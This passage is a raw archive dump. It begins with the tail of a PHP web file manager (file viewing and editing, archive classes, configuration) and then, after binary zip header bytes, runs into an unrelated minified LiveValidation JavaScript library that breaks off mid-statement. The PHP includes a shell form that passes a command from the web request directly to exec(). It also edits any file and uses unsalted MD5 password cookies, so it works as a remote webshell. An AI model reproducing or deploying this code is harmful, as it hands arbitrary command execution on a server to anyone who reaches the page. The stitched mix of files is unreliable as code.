'xlsx' => 'application/excel', 'eml' => 'message/rfc822' ); return (!isset($mimes[lowercase($ext)])) ? 'application/octet-stream' : $mimes[lowercase($ext)]; } function view(){ global $doc_root,$path_info,$url_info,$current_dir,$islinux,$filename,$passthru; if (intval($passthru)){ $file = $current_dir.$filename; if(file_exists($file)){ $is_denied = false; foreach($download_ext_filter as $key=>$ext){ if (eregi($ext,$filename)){ $is_denied = true; break; } } if (!$is_denied){ if ($fh = fopen("$file", "rb")){ fclose($fh); $ext = pathinfo($file, PATHINFO_EXTENSION); $ctype = get_mime_type($ext); if ($ctype == "application/octet-stream") $ctype = "text/plain"; header("Pragma: public"); header("Expires: 0"); header("Connection: close"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: public"); header("Content-Description: File Transfer"); header("Content-Type: ".$ctype); header("Content-Disposition: inline; filename=\"".pathinfo($file, PATHINFO_BASENAME)."\";"); header("Content-Transfer-Encoding: binary"); header("Content-Length: ".filesize($file)); @readfile($file); exit(); } else alert(et('ReadDenied').": ".$file); } else alert(et('ReadDenied').": ".$file); } else alert(et('FileNotFound').": ".$file); echo " "; } else { html_header(); echo ""; $is_reachable_thru_webserver = (stristr($current_dir,$doc_root)!==false); if ($is_reachable_thru_webserver){ $url = $url_info["scheme"]."://".$url_info["host"]; if (strlen($url_info["port"])) $url .= ":".$url_info["port"]; // Malditas variaveis de sistema!! No windows doc_root é sempre em lowercase... cadê o str_ireplace() ?? $url .= str_replace($doc_root,"","/".$current_dir).$filename; } else { $url = addslashes($path_info["basename"])."?action=4¤t_dir=".addslashes($current_dir)."&filename=".addslashes($filename)."&passthru=1"; } echo " \n"; } } function edit_file_form(){ global $current_dir,$filename,$file_data,$save_file,$path_info; $file = $current_dir.$filename; if ($save_file){ $fh=fopen($file,"w"); if(get_magic_quotes_gpc()) $file_data = stripslashes($file_data); fputs($fh,$file_data,strlen($file_data)); fclose($fh); } $fh=fopen($file,"r"); $file_data=fread($fh, filesize($file)); fclose($fh); html_header(); echo "
".$file."
\n"; } function config_form(){ global $cfg; global $current_dir,$fm_self,$doc_root,$path_info,$fm_current_root,$lang,$error_reporting,$version; global $config_action,$newpass,$newlang,$newerror,$newfm_root; $Warning = ""; switch ($config_action){ case 1: if ($fh = fopen("http://phpfm.sf.net/latest.php","r")){ $data = ""; while (!feof($fh)) $data .= fread($fh,1024); fclose($fh); $data = unserialize($data); $ChkVerWarning = " "; if (is_array($data)&&count($data)){ $ChkVerWarning .= " \"SourceForge.net "; if (str_replace(".","",$data['version'])>str_replace(".","",$cfg->data['version'])) $ChkVerWarning .= "".et('ChkVerAvailable').""; else $ChkVerWarning .= "".et('ChkVerNotAvailable').""; } else $ChkVerWarning .= "".et('ChkVerError').""; } else $ChkVerWarning .= "".et('ChkVerError').""; break; case 2: $reload = false; if ($cfg->data['lang'] != $newlang){ $cfg->data['lang'] = $newlang; $lang = $newlang; $reload = true; } if ($cfg->data['error_reporting'] != $newerror){ $cfg->data['error_reporting'] = $newerror; $error_reporting = $newerror; $reload = true; } $newfm_root = format_path($newfm_root); if ($cfg->data['fm_root'] != $newfm_root){ $cfg->data['fm_root'] = $newfm_root; if (strlen($newfm_root)) $current_dir = $newfm_root; else $current_dir = $path_info["dirname"]."/"; setcookie("fm_current_root", $newfm_root , 0 , "/"); $reload = true; } $cfg->save(); if ($reload){ reloadframe("window.opener.parent",2); reloadframe("window.opener.parent",3); } $Warning1 = et('ConfSaved')."..."; break; case 3: if ($cfg->data['auth_pass'] != md5($newpass)){ $cfg->data['auth_pass'] = md5($newpass); setcookie("loggedon", md5($newpass) , 0 , "/"); } $cfg->save(); $Warning2 = et('PassSaved')."..."; break; } html_header(); echo "\n"; echo "
".uppercase(et('Configurations'))."
"; if (strlen($ChkVerWarning)) echo $ChkVerWarning.$data['warnings']; echo " "; echo "
".et('Version').":$version (".get_size($fm_self).")
".et('Website').":http://phpfm.sf.net   
Like this project?
".et('DocRoot').":".$doc_root."
".et('FLRoot').":data['fm_root']."\" onkeypress=\"enterSubmit(event,'test_config_form(2)')\">
".et('Lang').":
".et('ErrorReport').":
"; if (strlen($Warning1)) echo " $Warning1"; echo "
".et('Pass').":
"; if (strlen($Warning2)) echo " $Warning2"; echo "
"; echo "\n"; } function shell_form(){ global $current_dir,$shell_form,$cmd_arg,$path_info; $data_out = ""; if (strlen($cmd_arg)){ exec($cmd_arg,$mat); if (count($mat)) $data_out = trim(implode("\n",$mat)); } switch ($shell_form){ case 1: html_header(); echo "
"; break; case 2: html_header(); echo " "; echo " "; echo "
"; break; default: html_header(" "); echo " "; } } function server_info(){ if (!@phpinfo()) echo et('NoPhpinfo')."..."; echo "

"; $a=ini_get_all(); $output=""; $output.=""; while(list($key, $value)=each($a)) { list($k, $v)= each($a[$key]); $output.=""; } $output.="
ini_get_all()
$key$v
"; echo $output; echo "

"; $output=""; $output.=""; foreach ($_SERVER as $k=>$v) { $output.=""; } $output.="
\$_SERVER
$k$v
"; echo $output; echo "

"; echo ""; $safe_mode=trim(ini_get("safe_mode")); if ((strlen($safe_mode)==0)||($safe_mode==0)) $safe_mode=false; else $safe_mode=true; $is_windows_server = (uppercase(substr(PHP_OS, 0, 3)) === 'WIN'); echo "
".php_uname(); echo "
safe_mode".($safe_mode?"on":"off"); if ($is_windows_server) echo "
sisopWindows
"; else echo "
sisopLinux
"; echo "


"; $display_errors=ini_get("display_errors"); $ignore_user_abort = ignore_user_abort(); $max_execution_time = ini_get("max_execution_time"); $upload_max_filesize = ini_get("upload_max_filesize"); $memory_limit=ini_get("memory_limit"); $output_buffering=ini_get("output_buffering"); $default_socket_timeout=ini_get("default_socket_timeout"); $allow_url_fopen = ini_get("allow_url_fopen"); $magic_quotes_gpc = ini_get("magic_quotes_gpc"); ignore_user_abort(true); ini_set("display_errors",0); ini_set("max_execution_time",0); ini_set("upload_max_filesize","10M"); ini_set("memory_limit","20M"); ini_set("output_buffering",0); ini_set("default_socket_timeout",30); ini_set("allow_url_fopen",1); ini_set("magic_quotes_gpc",0); echo "
GetSetGet"; echo "
display_errors$display_errors0".ini_get("display_errors"); echo "
ignore_user_abort".($ignore_user_abort?"on":"off")."on".(ignore_user_abort()?"on":"off"); echo "
max_execution_time$max_execution_time0".ini_get("max_execution_time"); echo "
upload_max_filesize$upload_max_filesize10M".ini_get("upload_max_filesize"); echo "
memory_limit$memory_limit20M".ini_get("memory_limit"); echo "
output_buffering$output_buffering0".ini_get("output_buffering"); echo "
default_socket_timeout$default_socket_timeout30".ini_get("default_socket_timeout"); echo "
allow_url_fopen$allow_url_fopen1".ini_get("allow_url_fopen"); echo "
magic_quotes_gpc$magic_quotes_gpc0".ini_get("magic_quotes_gpc"); echo "


"; echo " "; echo "\n"; } // +-------------------------------------------------- // | Session // +-------------------------------------------------- function logout(){ setcookie("loggedon",0,0,"/"); login_form(); } function login(){ global $pass,$auth_pass,$path_info; if (md5(trim($pass)) == $auth_pass){ setcookie("loggedon",$auth_pass,0,"/"); header ("Location: ".$path_info["basename"].""); } else header ("Location: ".$path_info["basename"]."?erro=1"); } function login_form(){ global $erro,$auth_pass,$path_info; html_header(); echo "\n"; if ($auth_pass != md5("")){ echo " "; if (strlen($erro)) echo " "; echo "
".et('FileMan')."
".et('TypePass').".
".et('InvPass').".
"; } else { echo "
".et('FileMan')."
"; } echo "\n"; } function frame3(){ global $islinux,$cmd_arg,$chmod_arg,$zip_dir,$fm_current_root,$cookie_cache_time; global $dir_dest,$current_dir,$dir_before; global $selected_file_list,$selected_dir_list,$old_name,$new_name; global $action,$or_by,$order_dir_list_by; if (!isset($order_dir_list_by)){ $order_dir_list_by = "1A"; setcookie("order_dir_list_by", $order_dir_list_by , time()+$cookie_cache_time , "/"); } elseif (strlen($or_by)){ $order_dir_list_by = $or_by; setcookie("order_dir_list_by", $or_by , time()+$cookie_cache_time , "/"); } html_header(); echo "\n"; if ($action){ switch ($action){ case 1: // create dir if (strlen($cmd_arg)){ $cmd_arg = format_path($current_dir.$cmd_arg); if (!file_exists($cmd_arg)){ @mkdir($cmd_arg,0755); @chmod($cmd_arg,0755); reloadframe("parent",2,"&ec_dir=".$cmd_arg); } else alert(et('FileDirExists')."."); } break; case 2: // create arq if (strlen($cmd_arg)){ $cmd_arg = $current_dir.$cmd_arg; if (!file_exists($cmd_arg)){ if ($fh = @fopen($cmd_arg, "w")){ @fclose($fh); } @chmod($cmd_arg,0644); } else alert(et('FileDirExists')."."); } break; case 3: // rename arq ou dir if ((strlen($old_name))&&(strlen($new_name))){ rename($current_dir.$old_name,$current_dir.$new_name); if (is_dir($current_dir.$new_name)) reloadframe("parent",2); } break; case 4: // delete sel if(strstr($current_dir,$fm_current_root)){ if (strlen($selected_file_list)){ $selected_file_list = explode("<|*|>",$selected_file_list); if (count($selected_file_list)) { for($x=0;$x",$selected_dir_list); if (count($selected_dir_list)) { for($x=0;$x",$selected_file_list); if (count($selected_file_list)) { for($x=0;$x",$selected_dir_list); if (count($selected_dir_list)) { for($x=0;$x",$selected_file_list); if (count($selected_file_list)) { for($x=0;$x",$selected_dir_list); if (count($selected_dir_list)) { for($x=0;$xset_options(array('basedir'=>$current_dir,'overwrite'=>1,'level'=>3)); if (strlen($selected_file_list)){ $selected_file_list = explode("<|*|>",$selected_file_list); if (count($selected_file_list)) { for($x=0;$xadd_files($selected_file_list[$x]); } } } if (strlen($selected_dir_list)){ $selected_dir_list = explode("<|*|>",$selected_dir_list); if (count($selected_dir_list)) { for($x=0;$xadd_files($selected_dir_list[$x]); } } } $zipfile->create_archive(); } unset($zipfile); } break; case 72: // decompress arq if (strlen($cmd_arg)){ if (file_exists($current_dir.$cmd_arg)){ $zipfile=false; if (strstr($cmd_arg,".zip")) zip_extract(); elseif (strstr($cmd_arg,".bzip")||strstr($cmd_arg,".bz2")||strstr($cmd_arg,".tbz2")||strstr($cmd_arg,".bz")||strstr($cmd_arg,".tbz")) $zipfile = new bzip_file($cmd_arg); elseif (strstr($cmd_arg,".gzip")||strstr($cmd_arg,".gz")||strstr($cmd_arg,".tgz")) $zipfile = new gzip_file($cmd_arg); elseif (strstr($cmd_arg,".tar")) $zipfile = new tar_file($cmd_arg); if ($zipfile){ $zipfile->set_options(array('basedir'=>$current_dir,'overwrite'=>1)); $zipfile->extract_files(); } unset($zipfile); reloadframe("parent",2); } } break; case 8: // delete arq/dir if (strlen($cmd_arg)){ if (file_exists($current_dir.$cmd_arg)) total_delete($current_dir.$cmd_arg); if (is_dir($current_dir.$cmd_arg)) reloadframe("parent",2); } break; case 9: // CHMOD if((strlen($chmod_arg) == 4)&&(strlen($current_dir))){ if ($chmod_arg[0]=="1") $chmod_arg = "0".$chmod_arg; else $chmod_arg = "0".substr($chmod_arg,strlen($chmod_arg)-3); $new_mod = octdec($chmod_arg); if (strlen($selected_file_list)){ $selected_file_list = explode("<|*|>",$selected_file_list); if (count($selected_file_list)) { for($x=0;$x",$selected_dir_list); if (count($selected_dir_list)) { for($x=0;$x\n"; } function frame2(){ global $expanded_dir_list,$ec_dir; if (!isset($expanded_dir_list)) $expanded_dir_list = ""; if (strlen($ec_dir)){ if (strstr($expanded_dir_list,":".$ec_dir)) $expanded_dir_list = str_replace(":".$ec_dir,"",$expanded_dir_list); else $expanded_dir_list .= ":".$ec_dir; setcookie("expanded_dir_list", $expanded_dir_list , 0 , "/"); } show_tree(); } function frameset(){ global $path_info,$leftFrameWidth; if (!isset($leftFrameWidth)) $leftFrameWidth = 300; html_header(); echo " "; } // +-------------------------------------------------- // | Open Source Contributions // +-------------------------------------------------- /*------------------------------------------------- | TAR/GZIP/BZIP2/ZIP ARCHIVE CLASSES 2.0 | By Devin Doucette | Copyright (c) 2004 Devin Doucette | Email: darksnoopy@shaw.ca +-------------------------------------------------- | Email bugs/suggestions to darksnoopy@shaw.ca +-------------------------------------------------- | This script has been created and released under | the GNU GPL and is free to use and redistribute | only if this copyright statement is not removed +-------------------------------------------------- | Limitations: | - Only USTAR archives are officially supported for extraction, but others may work. | - Extraction of bzip2 and gzip archives is limited to compatible tar files that have | been compressed by either bzip2 or gzip. For greater support, use the functions | bzopen and gzopen respectively for bzip2 and gzip extraction. | - Zip extraction is not supported due to the wide variety of algorithms that may be | used for compression and newer features such as encryption. +-------------------------------------------------- */ class archive { function archive($name) { $this->options = array( 'basedir'=>".", 'name'=>$name, 'prepend'=>"", 'inmemory'=>0, 'overwrite'=>0, 'recurse'=>1, 'storepaths'=>1, 'level'=>3, 'method'=>1, 'sfx'=>"", 'type'=>"", 'comment'=>"" ); $this->files = array(); $this->exclude = array(); $this->storeonly = array(); $this->error = array(); } function set_options($options) { foreach($options as $key => $value) { $this->options[$key] = $value; } if(!empty($this->options['basedir'])) { $this->options['basedir'] = str_replace("\\","/",$this->options['basedir']); $this->options['basedir'] = preg_replace("/\/+/","/",$this->options['basedir']); $this->options['basedir'] = preg_replace("/\/$/","",$this->options['basedir']); } if(!empty($this->options['name'])) { $this->options['name'] = str_replace("\\","/",$this->options['name']); $this->options['name'] = preg_replace("/\/+/","/",$this->options['name']); } if(!empty($this->options['prepend'])) { $this->options['prepend'] = str_replace("\\","/",$this->options['prepend']); $this->options['prepend'] = preg_replace("/^(\.*\/+)+/","",$this->options['prepend']); $this->options['prepend'] = preg_replace("/\/+/","/",$this->options['prepend']); $this->options['prepend'] = preg_replace("/\/$/","",$this->options['prepend']) . "/"; } } function create_archive() { $this->make_list(); if($this->options['inmemory'] == 0) { $Pwd = getcwd(); chdir($this->options['basedir']); if($this->options['overwrite'] == 0 && file_exists($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : ""))) { $this->error[] = "File {$this->options['name']} already exists."; chdir($Pwd); return 0; } else if($this->archive = @fopen($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : ""),"wb+")) { chdir($Pwd); } else { $this->error[] = "Could not open {$this->options['name']} for writing."; chdir($Pwd); return 0; } } else { $this->archive = ""; } switch($this->options['type']) { case "zip": if(!$this->create_zip()) { $this->error[] = "Could not create zip file."; return 0; } break; case "bzip": if(!$this->create_tar()) { $this->error[] = "Could not create tar file."; return 0; } if(!$this->create_bzip()) { $this->error[] = "Could not create bzip2 file."; return 0; } break; case "gzip": if(!$this->create_tar()) { $this->error[] = "Could not create tar file."; return 0; } if(!$this->create_gzip()) { $this->error[] = "Could not create gzip file."; return 0; } break; case "tar": if(!$this->create_tar()) { $this->error[] = "Could not create tar file."; return 0; } } if($this->options['inmemory'] == 0) { fclose($this->archive); @chmod($this->options['name'],0644); if($this->options['type'] == "gzip" || $this->options['type'] == "bzip") { unlink($this->options['basedir'] . "/" . $this->options['name'] . ".tmp"); } } } function add_data($data) { if($this->options['inmemory'] == 0) { fwrite($this->archive,$data); } else { $this->archive .= $data; } } function make_list() { if(!empty($this->exclude)) { foreach($this->files as $key => $value) { foreach($this->exclude as $current) { if($value['name'] == $current['name']) { unset($this->files[$key]); } } } } if(!empty($this->storeonly)) { foreach($this->files as $key => $value) { foreach($this->storeonly as $current) { if($value['name'] == $current['name']) { $this->files[$key]['method'] = 0; } } } } unset($this->exclude,$this->storeonly); } function add_files($list) { $temp = $this->list_files($list); foreach($temp as $current) { $this->files[] = $current; } } function exclude_files($list) { $temp = $this->list_files($list); foreach($temp as $current) { $this->exclude[] = $current; } } function store_files($list) { $temp = $this->list_files($list); foreach($temp as $current) { $this->storeonly[] = $current; } } function list_files($list) { if(!is_array($list)) { $temp = $list; $list = array($temp); unset($temp); } $files = array(); $Pwd = getcwd(); chdir($this->options['basedir']); foreach($list as $current) { $current = str_replace("\\","/",$current); $current = preg_replace("/\/+/","/",$current); $current = preg_replace("/\/$/","",$current); if(strstr($current,"*")) { $regex = preg_replace("/([\\\^\$\.\[\]\|\(\)\?\+\{\}\/])/","\\\\\\1",$current); $regex = str_replace("*",".*",$regex); $dir = strstr($current,"/")? substr($current,0,strrpos($current,"/")) : "."; $temp = $this->parse_dir($dir); foreach($temp as $current2) { if(preg_match("/^{$regex}$/i",$current2['name'])) { $files[] = $current2; } } unset($regex,$dir,$temp,$current); } else if(@is_dir($current)) { $temp = $this->parse_dir($current); foreach($temp as $file) { $files[] = $file; } unset($temp,$file); } else if(@file_exists($current)) { $files[] = array('name'=>$current,'name2'=>$this->options['prepend'] . preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($current,"/"))? substr($current,strrpos($current,"/") + 1) : $current),'type'=>0, 'ext'=>substr($current,strrpos($current,".")),'stat'=>stat($current)); } } chdir($Pwd); unset($current,$Pwd); usort($files,array("archive","sort_files")); return $files; } function parse_dir($dirname) { if($this->options['storepaths'] == 1 && !preg_match("/^(\.+\/*)+$/",$dirname)) { $files = array(array('name'=>$dirname,'name2'=>$this->options['prepend'] . preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname,"/"))? substr($dirname,strrpos($dirname,"/") + 1) : $dirname),'type'=>5,'stat'=>stat($dirname))); } else { $files = array(); } $dir = @opendir($dirname); while($file = @readdir($dir)) { if($file == "." || $file == "..") { continue; } else if(@is_dir($dirname."/".$file)) { if(empty($this->options['recurse'])) { continue; } $temp = $this->parse_dir($dirname."/".$file); foreach($temp as $file2) { $files[] = $file2; } } else if(@file_exists($dirname."/".$file)) { $files[] = array('name'=>$dirname."/".$file,'name2'=>$this->options['prepend'] . preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname."/".$file,"/"))? substr($dirname."/".$file,strrpos($dirname."/".$file,"/") + 1) : $dirname."/".$file),'type'=>0, 'ext'=>substr($file,strrpos($file,".")),'stat'=>stat($dirname."/".$file)); } } @closedir($dir); return $files; } function sort_files($a,$b) { if($a['type'] != $b['type']) { return $a['type'] > $b['type']? -1 : 1; } else if($a['type'] == 5) { return strcmp(strtolower($a['name']),strtolower($b['name'])); } else { if($a['ext'] != $b['ext']) { return strcmp($a['ext'],$b['ext']); } else if($a['stat'][7] != $b['stat'][7]) { return $a['stat'][7] > $b['stat'][7]? -1 : 1; } else { return strcmp(strtolower($a['name']),strtolower($b['name'])); } } return 0; } function download_file() { if($this->options['inmemory'] == 0) { $this->error[] = "Can only use download_file() if archive is in memory. Redirect to file otherwise, it is faster."; return; } switch($this->options['type']) { case "zip": header("Content-type:application/zip"); break; case "bzip": header("Content-type:application/x-compressed"); break; case "gzip": header("Content-type:application/x-compressed"); break; case "tar": header("Content-type:application/x-tar"); } $header = "Content-disposition: attachment; filename=\""; $header .= strstr($this->options['name'],"/")? substr($this->options['name'],strrpos($this->options['name'],"/") + 1) : $this->options['name']; $header .= "\""; header($header); header("Content-length: " . strlen($this->archive)); header("Content-transfer-encoding: binary"); header("Cache-control: no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); header("Expires: 0"); print($this->archive); } } class tar_file extends archive { function tar_file($name) { $this->archive($name); $this->options['type'] = "tar"; } function create_tar() { $Pwd = getcwd(); chdir($this->options['basedir']); foreach($this->files as $current) { if($current['name'] == $this->options['name']) { continue; } if(strlen($current['name2']) > 99) { $Path = substr($current['name2'],0,strpos($current['name2'],"/",strlen($current['name2']) - 100) + 1); $current['name2'] = substr($current['name2'],strlen($Path)); if(strlen($Path) > 154 || strlen($current['name2']) > 99) { $this->error[] = "Could not add {$Path}{$current['name2']} to archive because the filename is too long."; continue; } } $block = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12",$current['name2'],decoct($current['stat'][2]), sprintf("%6s ",decoct($current['stat'][4])),sprintf("%6s ",decoct($current['stat'][5])), sprintf("%11s ",decoct($current['stat'][7])),sprintf("%11s ",decoct($current['stat'][9])), " ",$current['type'],"","ustar","00","Unknown","Unknown","","",!empty($Path)? $Path : "",""); $checksum = 0; for($i = 0; $i < 512; $i++) { $checksum += ord(substr($block,$i,1)); } $checksum = pack("a8",sprintf("%6s ",decoct($checksum))); $block = substr_replace($block,$checksum,148,8); if($current['stat'][7] == 0) { $this->add_data($block); } else if($fp = @fopen($current['name'],"rb")) { $this->add_data($block); while($temp = fread($fp,1048576)) { $this->add_data($temp); } if($current['stat'][7] % 512 > 0) { $temp = ""; for($i = 0; $i < 512 - $current['stat'][7] % 512; $i++) { $temp .= "\0"; } $this->add_data($temp); } fclose($fp); } else { $this->error[] = "Could not open file {$current['name']} for reading. It was not added."; } } $this->add_data(pack("a512","")); chdir($Pwd); return 1; } function extract_files() { $Pwd = getcwd(); chdir($this->options['basedir']); if($fp = $this->open_archive()) { if($this->options['inmemory'] == 1) { $this->files = array(); } while($block = fread($fp,512)) { $temp = unpack("a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100temp/a6magic/a2temp/a32temp/a32temp/a8temp/a8temp/a155prefix/a12temp",$block); $file = array( 'name'=>$temp['prefix'] . $temp['name'], 'stat'=>array( 2=>$temp['mode'], 4=>octdec($temp['uid']), 5=>octdec($temp['gid']), 7=>octdec($temp['size']), 9=>octdec($temp['mtime']), ), 'checksum'=>octdec($temp['checksum']), 'type'=>$temp['type'], 'magic'=>$temp['magic'], ); if($file['checksum'] == 0x00000000) { break; } else if($file['magic'] != "ustar") { $this->error[] = "This script does not support extracting this type of tar file."; break; } $block = substr_replace($block," ",148,8); $checksum = 0; for($i = 0; $i < 512; $i++) { $checksum += ord(substr($block,$i,1)); } if($file['checksum'] != $checksum) { $this->error[] = "Could not extract from {$this->options['name']}, it is corrupt."; } if($this->options['inmemory'] == 1) { $file['data'] = fread($fp,$file['stat'][7]); fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512)); unset($file['checksum'],$file['magic']); $this->files[] = $file; } else { if($file['type'] == 5) { if(!is_dir($file['name'])) { mkdir($file['name'],0755); //mkdir($file['name'],$file['stat'][2]); //chown($file['name'],$file['stat'][4]); //chgrp($file['name'],$file['stat'][5]); } } else if($this->options['overwrite'] == 0 && file_exists($file['name'])) { $this->error[] = "{$file['name']} already exists."; } else if($new = @fopen($file['name'],"wb")) { fwrite($new,fread($fp,$file['stat'][7])); fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512)); fclose($new); @chmod($file['name'],0644); //chmod($file['name'],$file['stat'][2]); //chown($file['name'],$file['stat'][4]); //chgrp($file['name'],$file['stat'][5]); } else { $this->error[] = "Could not open {$file['name']} for writing."; } } unset($file); } } else { $this->error[] = "Could not open file {$this->options['name']}"; } chdir($Pwd); } function open_archive() { return @fopen($this->options['name'],"rb"); } } class gzip_file extends tar_file { function gzip_file($name) { $this->tar_file($name); $this->options['type'] = "gzip"; } function create_gzip() { if($this->options['inmemory'] == 0) { $Pwd = getcwd(); chdir($this->options['basedir']); if($fp = gzopen($this->options['name'],"wb{$this->options['level']}")) { fseek($this->archive,0); while($temp = fread($this->archive,1048576)) { gzwrite($fp,$temp); } gzclose($fp); chdir($Pwd); } else { $this->error[] = "Could not open {$this->options['name']} for writing."; chdir($Pwd); return 0; } } else { $this->archive = gzencode($this->archive,$this->options['level']); } return 1; } function open_archive() { return @gzopen($this->options['name'],"rb"); } } class bzip_file extends tar_file { function bzip_file($name) { $this->tar_file($name); $this->options['type'] = "bzip"; } function create_bzip() { if($this->options['inmemory'] == 0) { $Pwd = getcwd(); chdir($this->options['basedir']); if($fp = bzopen($this->options['name'],"wb")) { fseek($this->archive,0); while($temp = fread($this->archive,1048576)) { bzwrite($fp,$temp); } bzclose($fp); chdir($Pwd); } else { $this->error[] = "Could not open {$this->options['name']} for writing."; chdir($Pwd); return 0; } } else { $this->archive = bzcompress($this->archive,$this->options['level']); } return 1; } function open_archive() { return @bzopen($this->options['name'],"rb"); } } class zip_file extends archive { function zip_file($name) { $this->archive($name); $this->options['type'] = "zip"; } function create_zip() { $files = 0; $offset = 0; $central = ""; if(!empty($this->options['sfx'])) { if($fp = @fopen($this->options['sfx'],"rb")) { $temp = fread($fp,filesize($this->options['sfx'])); fclose($fp); $this->add_data($temp); $offset += strlen($temp); unset($temp); } else { $this->error[] = "Could not open sfx module from {$this->options['sfx']}."; } } $Pwd = getcwd(); chdir($this->options['basedir']); foreach($this->files as $current) { if($current['name'] == $this->options['name']) { continue; } $translate = array('Ç'=>pack("C",128),'ü'=>pack("C",129),'é'=>pack("C",130),'â'=>pack("C",131),'ä'=>pack("C",132), 'à'=>pack("C",133),'Ã¥'=>pack("C",134),'ç'=>pack("C",135),'ê'=>pack("C",136),'ë'=>pack("C",137), 'è'=>pack("C",138),'ï'=>pack("C",139),'î'=>pack("C",140),'ì'=>pack("C",141),'Ä'=>pack("C",142), 'Ã…'=>pack("C",143),'É'=>pack("C",144),'æ'=>pack("C",145),'Æ'=>pack("C",146),'ô'=>pack("C",147), 'ö'=>pack("C",148),'ò'=>pack("C",149),'û'=>pack("C",150),'ù'=>pack("C",151),'_'=>pack("C",152), 'Ö'=>pack("C",153),'Ü'=>pack("C",154),'£'=>pack("C",156),'Â¥'=>pack("C",157),'_'=>pack("C",158), 'Æ’'=>pack("C",159),'á'=>pack("C",160),'í'=>pack("C",161),'ó'=>pack("C",162),'ú'=>pack("C",163), 'ñ'=>pack("C",164),'Ñ'=>pack("C",165)); $current['name2'] = strtr($current['name2'],$translate); $timedate = explode(" ",date("Y n j G i s",$current['stat'][9])); $timedate = ($timedate[0] - 1980 << 25) | ($timedate[1] << 21) | ($timedate[2] << 16) | ($timedate[3] << 11) | ($timedate[4] << 5) | ($timedate[5]); $block = pack("VvvvV",0x04034b50,0x000A,0x0000,(isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate); if($current['stat'][7] == 0 && $current['type'] == 5) { $block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000); $block .= $current['name2'] . "/"; $this->add_data($block); $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000, (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate, 0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset); $central .= $current['name2'] . "/"; $files++; $offset += (31 + strlen($current['name2'])); } else if($current['stat'][7] == 0) { $block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000); $block .= $current['name2']; $this->add_data($block); $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000, (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate, 0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset); $central .= $current['name2']; $files++; $offset += (30 + strlen($current['name2'])); } else if($fp = @fopen($current['name'],"rb")) { $temp = fread($fp,$current['stat'][7]); fclose($fp); $crc32 = crc32($temp); if(!isset($current['method']) && $this->options['method'] == 1) { $temp = gzcompress($temp,$this->options['level']); $size = strlen($temp) - 6; $temp = substr($temp,2,$size); } else { $size = strlen($temp); } $block .= pack("VVVvv",$crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000); $block .= $current['name2']; $this->add_data($block); $this->add_data($temp); unset($temp); $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000, (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate, $crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,0x00000000,$offset); $central .= $current['name2']; $files++; $offset += (30 + strlen($current['name2']) + $size); } else { $this->error[] = "Could not open file {$current['name']} for reading. It was not added."; } } $this->add_data($central); $this->add_data(pack("VvvvvVVv",0x06054b50,0x0000,0x0000,$files,$files,strlen($central),$offset, !empty($this->options['comment'])? strlen($this->options['comment']) : 0x0000)); if(!empty($this->options['comment'])) { $this->add_data($this->options['comment']); } chdir($Pwd); return 1; } } // +-------------------------------------------------- // | THE END // +-------------------------------------------------- ?>PK})[„5½&ý2ý2livevalidation.jsnuW+A„¶// LiveValidation 1.3.1 (standalone version) (updated by MOZG) // Copyright (c) 2007-2008 Alec Hill (www.livevalidation.com) // LiveValidation is licensed under the terms of the MIT License var LiveValidation=function(B,A){this.initialize(B,A);};LiveValidation.VERSION="1.3 standalone";LiveValidation.TEXTAREA=1;LiveValidation.TEXT=2;LiveValidation.PASSWORD=3;LiveValidation.CHECKBOX=4;LiveValidation.SELECT=5;LiveValidation.FILE=6;LiveValidation.massValidate=function(C){var D=true;for(var B=0,A=C.length;B=300){this.removeMessageAndFieldClass();}var A=this;if(this.timeout){clearTimeout(A.timeout);}this.timeout=setTimeout(function(){A.validate();},A.wait);},doOnBlur:function(A){this.focused=false;this.validate(A);},doOnFocus:function(A){this.focused=true;this.removeMessageAndFieldClass();},getElementType:function(){switch(true){case (this.element.nodeName.toUpperCase()=="TEXTAREA"):return LiveValidation.TEXTAREA;case (this.element.nodeName.toUpperCase()=="INPUT"&&this.element.type.toUpperCase()=="TEXT"):return LiveValidation.TEXT;case (this.element.nodeName.toUpperCase()=="INPUT"&&this.element.type.toUpperCase()=="PASSWORD"):return LiveValidation.PASSWORD;case (this.element.nodeName.toUpperCase()=="INPUT"&&this.element.type.toUpperCase()=="CHECKBOX"):return LiveValidation.CHECKBOX;case (this.element.nodeName.toUpperCase()=="INPUT"&&this.element.type.toUpperCase()=="FILE"):return LiveValidation.FILE;case (this.element.nodeName.toUpperCase()=="SELECT"):return LiveValidation.SELECT;case (this.element.nodeName.toUpperCase()=="INPUT"):throw new 